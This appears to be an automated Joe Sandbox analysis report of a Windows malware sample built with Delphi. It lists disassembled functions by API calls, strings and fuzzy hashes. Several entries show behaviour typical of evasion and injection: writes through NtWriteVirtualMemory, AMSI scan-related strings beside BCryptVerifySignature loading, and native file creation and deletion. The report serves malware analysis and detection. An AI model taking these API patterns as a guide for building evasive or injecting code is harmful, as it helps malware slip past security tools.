String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction ID: 5efa9141af3549a2ba4bd5d42b49473f5464057f95c0b49fe51c84800509317d
Opcode Fuzzy Hash: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction Fuzzy Hash: 1B31C77DE4021C6AFB27D6B89C49FDFB7AD5B04784F4405E19608E6080DB789E448FD1

Function 02848798 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,028923A4,0284A3BF,ScanString,028923A4,0284A774,ScanBuffer,028923A4,0284A774,Initialize,028923A4,0284A774,UacScan), ref: 028487AC
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028487C6
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,028923A4,0284A3BF,ScanString,028923A4,0284A774,ScanBuffer,028923A4,0284A774,Initialize), ref: 02848802

Part of subcall function 02847CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02847D6C

Strings

BCryptVerifySignature, xrefs: 028487BF
bcrypt, xrefs: 028487AB

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: 3c551edc5e455c3a9af3d918d61743e12e8f610f4a44b376cb28ca3c35649ab2
Instruction ID: 0d6438f54a3264d1a076e05a22d1ebff508246ba864139b5a54a8e9895d1f482
Opcode Fuzzy Hash: 3c551edc5e455c3a9af3d918d61743e12e8f610f4a44b376cb28ca3c35649ab2
Instruction Fuzzy Hash: E7F0C87DA81328FFE310AA6DAC44F16379CB782314F0C0929BA08C71E4DB740414AB94

Function 0284DF00 Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 02834ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02834EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0284DFD2), ref: 0284DF3F
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0284DF79
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0284DFA6
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0284DFAF

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: 89edda74b999d701c8b31d232ec276efbdedc62c5364d0ecce0d5a87b9ac7b27
Instruction ID: 0642c20befa837750bac6bc265612a7c0cbd8d992b72acdb7bc660b8723d1804
Opcode Fuzzy Hash: 89edda74b999d701c8b31d232ec276efbdedc62c5364d0ecce0d5a87b9ac7b27
Instruction Fuzzy Hash: 3721E079A4030CBBEB21EBE4CC42F9EB7BD9B04B00F504161B600F75D0DBB4AE048A96

Function 0284DE24 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL(?,?), ref: 0284DEA0
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0284DEF2), ref: 0284DEB6
NtDeleteFile.NTDLL(?), ref: 0284DED5

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Path$DeleteFileInitNameName_StringUnicode
String ID:
API String ID: 1459852867-0
Opcode ID: 52e1fb45a29d04c11583b96508c58aface3e66d91779042a166e94a38d5f1ec3
Instruction ID: 2aa9b7a60c7cab951127e28a1019dfb2d6cbf1930d5f7282465fe14900e1c4c1
Opcode Fuzzy Hash: 52e1fb45a29d04c11583b96508c58aface3e66d91779042a166e94a38d5f1ec3
Instruction Fuzzy Hash: 4901867EA4434C6FEB05EBE4CD81BCD77BDAB55704F5000E29200E6192DF74AB098B62

Function 0284DE78 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02834ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02834EDA

RtlInitUnicodeString.NTDLL(?,?), ref: 0284DEA0
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0284DEF2), ref: 0284DEB6
NtDeleteFile.NTDLL(?), ref: 0284DED5

Part of subcall function 02834C0C: SysFreeString.OLEAUT32(0284ED84), ref: 02834C1A

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: String$Path$AllocDeleteFileFreeInitNameName_Unicode
String ID:
API String ID: 1694942484-0
Opcode ID: 6e9ae6dd5ac1fd05f347857e42273f45046971c336678ac9330fb7c53f47f77d
Instruction ID: 81c1b28aa10492775030d6f84e1fc1efc620532d4c6a3f7a5d30f66b19bad4be
Opcode Fuzzy Hash: 6e9ae6dd5ac1fd05f347857e42273f45046971c336678ac9330fb7c53f47f77d
Instruction Fuzzy Hash: C101E17DA4020CBBEB11EAE4CD51FDEB3BDDB58700F5044A1A600E2581EB74AB048A65

Function 02837F52 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02837F75

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: af95a7847bce4aac7ce6c5ec9bc2f4eb7d8060860abe66f176e19b8d00619888
Instruction ID: b06386c511158317b7aabc4d07c5ed1d82510120be8c4906911168df02c606e4
Opcode Fuzzy Hash: af95a7847bce4aac7ce6c5ec9bc2f4eb7d8060860abe66f176e19b8d00619888
Instruction Fuzzy Hash: DC1100B5A00209AFDB05CF9DC8809AFF7F9FFCC304B14C569A508EB254E6319A01CB90

Function 0283A744 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0283A762

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
Instruction ID: 297f85a4d7cf1f19c4701c5cefc84f56e1f07bc821cf3e3575b4ebb91ba9156b
Opcode Fuzzy Hash: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
Instruction Fuzzy Hash: 42E0D83EB0021827D316A56C9C819F6735D975C350F00427EBD49C7341FDA09D404EE9

Function 0283B70C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,0285D106,00000000,0285D11E), ref: 0283B71A

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 894e6c3a0c67a22e887283c7d006a940379aec06db194338150348707d3ab506
Instruction ID: 3aea0dfc9d191c39b0b57a027146e353195492ef7e03e99d2581bec89c0ebdd0
Opcode Fuzzy Hash: 894e6c3a0c67a22e887283c7d006a940379aec06db194338150348707d3ab506
Instruction Fuzzy Hash: 49F0B2BC9443219FD351DF28D941A167BE9FB48B14F408D69EA9DC7380E7389A24CF92

Function 0283A790 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0283BDF2,00000000,0283C00B,?,?,00000000,00000000), ref: 0283A7A3

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction ID: 34f36e2bc67de603a562e1c7b1a69915cd48344d8db28b32d5adb6ce0a51096f
Opcode Fuzzy Hash: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction Fuzzy Hash: 84D05EAE30F2603AA229915E2D84D7B5AFCCAC57A1F00443EF5C8C6201E2048C0596F1

Function 0283918C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 02839190

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction ID: 36279ed80754645ce8ca8595f2490d50e495cf1bcaff86714ca6c0c592f342b0
Opcode Fuzzy Hash: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction Fuzzy Hash: EEA01108808C30228A803B2E0C0223A3088A800A20FC80F80A8F8802E2FE2E022080EB

Function 0285E59A Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a80aaa933b3393316e55efe1c16b7e5d3273d5904630df5ac1e15729e23cdaf1
Instruction ID: 7532be27ed5febc90580a4412c289d0a9d5101d1649a366ef9fea6835f42b59c
Opcode Fuzzy Hash: a80aaa933b3393316e55efe1c16b7e5d3273d5904630df5ac1e15729e23cdaf1
Instruction Fuzzy Hash: 8A51166A84D3D28FC3838F7488653917FF1AF13665B0E01DAC8948F4A3E369599ADB11

Function 028320C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 0283D214 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 0283D21D

Part of subcall function 0283D1E8: GetProcAddress.KERNEL32(00000000), ref: 0283D201

Strings

VarBstrFromCy, xrefs: 0283D3CD
VarCmp, xrefs: 0283D333
VarMod, xrefs: 0283D2DB
VarDateFromStr, xrefs: 0283D38B
VarCyFromStr, xrefs: 0283D3A1
VarIdiv, xrefs: 0283D2C5
VariantChangeTypeEx, xrefs: 0283D22B
VarSub, xrefs: 0283D283
VarDiv, xrefs: 0283D2AF
VarAdd, xrefs: 0283D26D
VarNeg, xrefs: 0283D241
VarR4FromStr, xrefs: 0283D35F
oleaut32.dll, xrefs: 0283D218
VarAnd, xrefs: 0283D2F1
VarR8FromStr, xrefs: 0283D375
VarI4FromStr, xrefs: 0283D349
VarNot, xrefs: 0283D257
VarOr, xrefs: 0283D307
VarBoolFromStr, xrefs: 0283D3B7
VarMul, xrefs: 0283D299
VarXor, xrefs: 0283D31D
VarBstrFromDate, xrefs: 0283D3E3
VarBstrFromBool, xrefs: 0283D3F9

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 6d1f206e252167347e941985f15385ecdaacf8dfbcfb26eaf99b84c2ed743c9a
Instruction ID: ee1b519ce8cc53fd7a47846d70c711306e4c4a6329b6a7d6d8613ba89ef5890a
Opcode Fuzzy Hash: 6d1f206e252167347e941985f15385ecdaacf8dfbcfb26eaf99b84c2ed743c9a
Instruction Fuzzy Hash: 88410F6D9852086B560B6BAD740042BFFDED7C87203A4C41BFA04DB744DDF0BD594AEA

Function 02846E58 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 02846E5E
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02846E6F
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02846E7F
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02846E8F
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02846E9F
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02846EAF
GetProcAddress.KERNEL32 ref: 02846EBF

Strings

CoInitializeEx, xrefs: 02846E79
CoAddRefServerProcess, xrefs: 02846E89
CoCreateInstanceEx, xrefs: 02846E69
ole32.dll, xrefs: 02846E59
CoResumeClassObjects, xrefs: 02846EA9
CoSuspendClassObjects, xrefs: 02846EB9
CoReleaseServerProcess, xrefs: 02846E99

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: 7a98a98b2a7881bcf359bf67d752de142c22929c404a0c36fd7643cd8b57164f
Instruction ID: 8354288c0052c25536667881d4c47c9193259bfed2f337bf16dcb789f3e3fd01
Opcode Fuzzy Hash: 7a98a98b2a7881bcf359bf67d752de142c22929c404a0c36fd7643cd8b57164f
Instruction Fuzzy Hash: 54F098ECA847397FB3037F799C818272A9DA911A843101825B402E5A43FF7D85204BA6

Function 02832530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 028328CE

Strings

The sizes of unexpected leaked medium and large blocks are: , xrefs: 02832849
The unexpected small block leaks are:, xrefs: 02832707
String, xrefs: 028327A1
, xrefs: 02832814
Unexpected Memory Leak, xrefs: 028328C0
bytes: , xrefs: 0283275D
Unknown, xrefs: 0283278C
An unexpected memory leak has occurred. , xrefs: 02832690
7, xrefs: 028326A1

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: 452328d32743a9ed4e1fa2e2287935ec56f9009a72f59bd227ba62f342e018aa
Instruction ID: 7aadf08f899fde738ecdb46a7d4f722feaf40c2f76b1d0daaf748deafe315b4f
Opcode Fuzzy Hash: 452328d32743a9ed4e1fa2e2287935ec56f9009a72f59bd227ba62f342e018aa
Instruction Fuzzy Hash: 36A1E73CA042648BDF22AA2CCC80B9876E5EB09714F1441E5DD4DDB28ADB759D89CFD1

Function 0283252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

The sizes of unexpected leaked medium and large blocks are: , xrefs: 02832849
The unexpected small block leaks are:, xrefs: 02832707
, xrefs: 02832814
Unexpected Memory Leak, xrefs: 028328C0
bytes: , xrefs: 0283275D
An unexpected memory leak has occurred. , xrefs: 02832690
7, xrefs: 028326A1

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 307804e9ce5726b5b5d16bb82acdb099c64d235aa66def06a7c01f6e0d88ffea
Instruction ID: 6d7a8cceb799b7d1a62fc40c1412b3ae31e2657fbf4d1eba4ba9d4be3792f6fc
Opcode Fuzzy Hash: 307804e9ce5726b5b5d16bb82acdb099c64d235aa66def06a7c01f6e0d88ffea
Instruction Fuzzy Hash: 7A71B53CA042A88EDB22AA2CCC84BD8B6E5FB09714F1041E5D94DDB289DBB54DC5CF91

Function 0283BD40 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,0283C00B,?,?,00000000,00000000), ref: 0283BD76

Part of subcall function 0283A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0283A762

Strings

:mm, xrefs: 0283BFA9
:mm:ss, xrefs: 0283BFC6
mmmm d, yyyy, xrefs: 0283BE72
AMPM, xrefs: 0283BF8A
m/d/yy, xrefs: 0283BE45
AMPM , xrefs: 0283BF99

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: e387c228e00c7ae84af1e26c5221565a626374782c467a4fd7af0f5fd72d79f3
Instruction ID: 904811851741db354d1b525006af48e229712309dde1ac25e41f51703ed91ee9
Opcode Fuzzy Hash: e387c228e00c7ae84af1e26c5221565a626374782c467a4fd7af0f5fd72d79f3
Instruction Fuzzy Hash: 2961723DB002499BDB07EBA8D8A0A9FB7B7DB48300F109435D241EB745CA79D9099BD2

Function 0284AE18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 0284AE38
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 0284AE4F
IsBadReadPtr.KERNEL32(?,00000004), ref: 0284AEE3
IsBadReadPtr.KERNEL32(?,00000002), ref: 0284AEEF
IsBadReadPtr.KERNEL32(?,00000014), ref: 0284AF03

Strings

LoadLibraryExA, xrefs: 0284AE45
KernelBase, xrefs: 0284AE4A

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
